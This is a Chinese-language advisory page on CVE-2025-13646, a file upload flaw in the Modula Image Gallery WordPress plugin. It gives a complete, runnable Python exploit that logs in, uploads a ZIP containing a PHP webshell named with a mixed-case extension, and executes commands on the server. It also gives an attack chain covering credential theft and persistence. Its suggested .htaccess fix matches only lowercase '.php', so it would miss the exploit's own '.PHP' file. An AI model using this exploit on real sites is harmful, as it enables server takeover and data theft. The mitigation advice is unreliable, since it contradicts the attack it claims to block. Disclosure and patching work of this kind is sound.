IPBUF安全漏洞报告
English
CVE-2025-13646 CVSS 7.5 高危

CVE-2025-13646 Modula Image Gallery 任意文件上传漏洞

披露日期: 2025-12-03

漏洞信息

漏洞编号
CVE-2025-13646
漏洞类型
任意文件上传/远程代码执行
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Modula Image Gallery (WordPress插件)

相关标签

任意文件上传远程代码执行WordPress插件漏洞CVE-2025-13646Modula Image GalleryWebshellRace Condition高危漏洞认证用户攻击文件解压漏洞

漏洞概述

CVE-2025-13646是WordPress插件Modula Image Gallery中的一个高危安全漏洞。该插件是一款流行的WordPress图片画廊插件,广泛应用于各类网站中。漏洞存在于插件的ajax_unzip_file函数中,由于该函数在处理文件上传时缺少足够的文件类型验证和安全性检查,导致存在严重的安全隐患。具体而言,攻击者可以利用此漏洞上传任意类型的文件到目标服务器,包括恶意PHP脚本文件。一旦恶意文件被成功上传,攻击者便可以通过访问该文件在服务器上执行任意代码,从而完全控制受影响的网站。此漏洞的CVSS评分为7.5分,属于高危级别,攻击复杂度较低但需要认证。攻击者需要拥有WordPress网站的Author级别或更高权限才能利用此漏洞。虽然利用过程涉及竞态条件(race condition),但这并不妨碍漏洞的实质性危害。攻击者可以通过构造特定的ZIP压缩包,利用WordPress内置的unzip_file函数或类似机制,在解压过程中将恶意文件写入服务器指定目录。对于托管在Linux系统上的WordPress网站,由于文件系统通常区分文件大小写,攻击者可以通过精心构造的文件名绕过某些基础的安全检查。此漏洞的影响范围涵盖机密性、完整性和可用性三个方面,攻击成功后可能导致用户数据泄露、网站内容被篡改以及服务中断等严重后果。

技术细节

该漏洞的技术根源在于Modula Image Gallery插件的ajax_unzip_file函数未对上传文件进行充分的类型验证和内容检查。在WordPress插件的class-modula-gallery-upload.php文件第1103行附近,该函数直接处理用户上传的ZIP文件并解压到服务器。在解压过程中,函数没有验证ZIP包内各个文件的扩展名、MIME类型或内容结构,允许攻击者嵌入任意扩展名的文件。攻击者可以创建一个包含恶意PHP脚本(如webshell)的ZIP文件,上传后通过访问该PHP文件即可在服务器上执行系统命令。技术利用步骤如下:首先,攻击者准备一个包含恶意PHP文件的ZIP压缩包,文件名可使用大小写混合(如.PHP或.pHP)绕过部分检测;其次,攻击者使用有效的WordPress Author账户登录,通过WordPress的admin-ajax.php接口发送特制的POST请求,将恶意ZIP文件作为ajax_unzip_file函数的参数提交;然后,服务器执行unzip操作,将恶意文件写入wp-content/uploads/modula/目录;最后,攻击者通过HTTP请求直接访问上传的PHP文件,在服务器上执行任意代码。值得注意的是,漏洞利用存在竞态条件,攻击者需要在正确的时间窗口内完成上传和访问操作。此外,服务器配置(如.htaccess规则、PHP配置等)可能会影响实际的利用成功率。插件开发者已在后续版本中修复了此问题,修复方案包括:添加文件扩展名白名单验证、使用wordpress内置的验证函数检查文件类型、在解压前扫描ZIP内容、以及限制可写入的目录范围。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者首先识别目标网站使用的WordPress版本,并检查是否安装了Modula Image Gallery插件。可以通过查看页面源代码或访问/wp-content/plugins/目录来确认插件存在。确认插件版本在2.13.1至2.13.2之间。
STEP 2
步骤2: 账户获取
攻击者需要获得目标WordPress网站的合法账户凭证,至少需要Author级别的权限。可以通过社会工程学攻击、密码喷洒、凭证填充或利用其他漏洞获取账户。攻击者也可以尝试注册功能(如果开放)来创建新账户。
STEP 3
步骤3: 恶意文件制作
攻击者创建一个包含恶意PHP代码的ZIP压缩包。PHP代码通常为webshell,可执行系统命令或提供后门访问。文件命名使用混合大小写(如shell.PHP或shell.pHp)以绕过某些基础的文件扩展名过滤机制。ZIP包中可能包含诱饵文件以增加隐蔽性。
STEP 4
步骤4: 文件上传
攻击者使用获取的账户登录WordPress后台,通过admin-ajax.php接口向ajax_unzip_file函数发送特制的POST请求,将恶意ZIP文件作为file参数提交。由于函数缺少文件类型验证,恶意文件被成功解压到wp-content/uploads/modula/目录。
STEP 5
步骤5: 远程代码执行
攻击者通过HTTP请求直接访问上传的PHP文件,在URL中传递cmd参数执行任意系统命令。例如访问shell.PHP?cmd=whoami可获取Web服务器运行用户身份。此时攻击者已获得服务器命令执行权限,可进一步渗透内网或植入持久性后门。
STEP 6
步骤6: 权限维持
为保持对服务器的持久访问,攻击者可能会创建额外的用户账户、安装后门程序、修改现有PHP文件或植入Webshell。攻击者还可能窃取数据库凭证和用户敏感信息,造成数据泄露。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-13646 PoC - Modula Image Gallery Arbitrary File Upload Author: Security Researcher Description: Exploits arbitrary file upload vulnerability in Modula Image Gallery < 2.13.3 Requirements: requests, valid WordPress session with Author+ privileges """ import zipfile import io import requests import sys # Malicious PHP webshell payload WEBSHELL = b"<?php if(isset($_REQUEST['cmd'])){ system($_REQUEST['cmd']); } ?>" def create_malicious_zip(): """Create a ZIP file containing the malicious PHP shell""" zip_buffer = io.BytesIO() with zipfile.ZipFile(zip_buffer, 'w', zipfile.ZIP_DEFLATED) as zip_file: # Add webshell with various case combinations to bypass basic filters zip_file.writestr('shell.PHP', WEBSHELL) # Add decoy file zip_file.writestr('image.jpg', b'fake image content') return zip_buffer.getvalue() def exploit(target_url, wordpress_url, username, password): """ Exploit the arbitrary file upload vulnerability Args: target_url: Base URL of the WordPress site wordpress_url: Full WordPress URL username: WordPress username with Author+ role password: WordPress password """ session = requests.Session() # Step 1: Login to WordPress login_url = f"{wordpress_url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': f"{wordpress_url}/wp-admin/", 'testcookie': '1' } print("[*] Logging in to WordPress...") response = session.post(login_url, data=login_data, allow_redirects=True) if 'wordpress_logged_in' not in session.cookies: print("[-] Login failed!") return False print("[+] Login successful!") # Step 2: Create malicious ZIP file malicious_zip = create_malicious_zip() print(f"[*] Created malicious ZIP file ({len(malicious_zip)} bytes)") # Step 3: Upload the malicious ZIP via ajax_unzip_file upload_url = f"{wordpress_url}/wp-admin/admin-ajax.php" files = { 'action': 'modula_ajax_unzip_file', 'file': ('exploit.zip', malicious_zip, 'application/zip') } print("[*] Uploading malicious ZIP file...") response = session.post(upload_url, files=files) if response.status_code == 200 and 'success' in response.text.lower(): print("[+] File uploaded successfully!") # Step 4: Access the uploaded webshell shell_url = f"{wordpress_url}/wp-content/uploads/modula/shell.PHP" print(f"[*] Accessing webshell at: {shell_url}") # Test webshell with whoami command test_response = session.get(f"{shell_url}?cmd=whoami") if test_response.status_code == 200: print(f"[+] Webshell executed! Output: {test_response.text.strip()}") print(f"[*] You can now execute commands via: {shell_url}?cmd=<command>") return True else: print(f"[-] Upload failed! Response: {response.text}") return False if __name__ == "__main__": if len(sys.argv) < 5: print(f"Usage: python3 {sys.argv[0]} <target_url> <wordpress_url> <username> <password>") print(f"Example: python3 {sys.argv[0]} http://target.com http://target.com admin password123") sys.exit(1) target = sys.argv[1] wp_url = sys.argv[2] user = sys.argv[3] pwd = sys.argv[4] exploit(target, wp_url, user, pwd)

影响范围

Modula Image Gallery (Lite) 2.13.1
Modula Image Gallery (Lite) 2.13.2
Modula Best Grid Gallery 2.13.1
Modula Best Grid Gallery 2.13.2

防御指南

临时缓解措施
立即采取以下临时缓解措施:首先,在wp-content/uploads/目录下创建或修改.htaccess文件,添加规则禁止PHP文件执行(内容:<FilesMatch "\.php$"> Order Deny,Allow Deny from all </FilesMatch>);其次,检查wp-content/uploads/modula/目录是否存在可疑的PHP文件,如有发现立即删除;第三,审查所有Author及以上级别用户的登录活动日志,排查异常行为;第四,暂时限制新用户注册功能或要求管理员审批;最后,考虑使用ModSecurity等WAF规则阻止包含恶意ZIP上传特征的请求。在完成上述措施后,应尽快将Modula插件升级到官方发布的安全版本。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表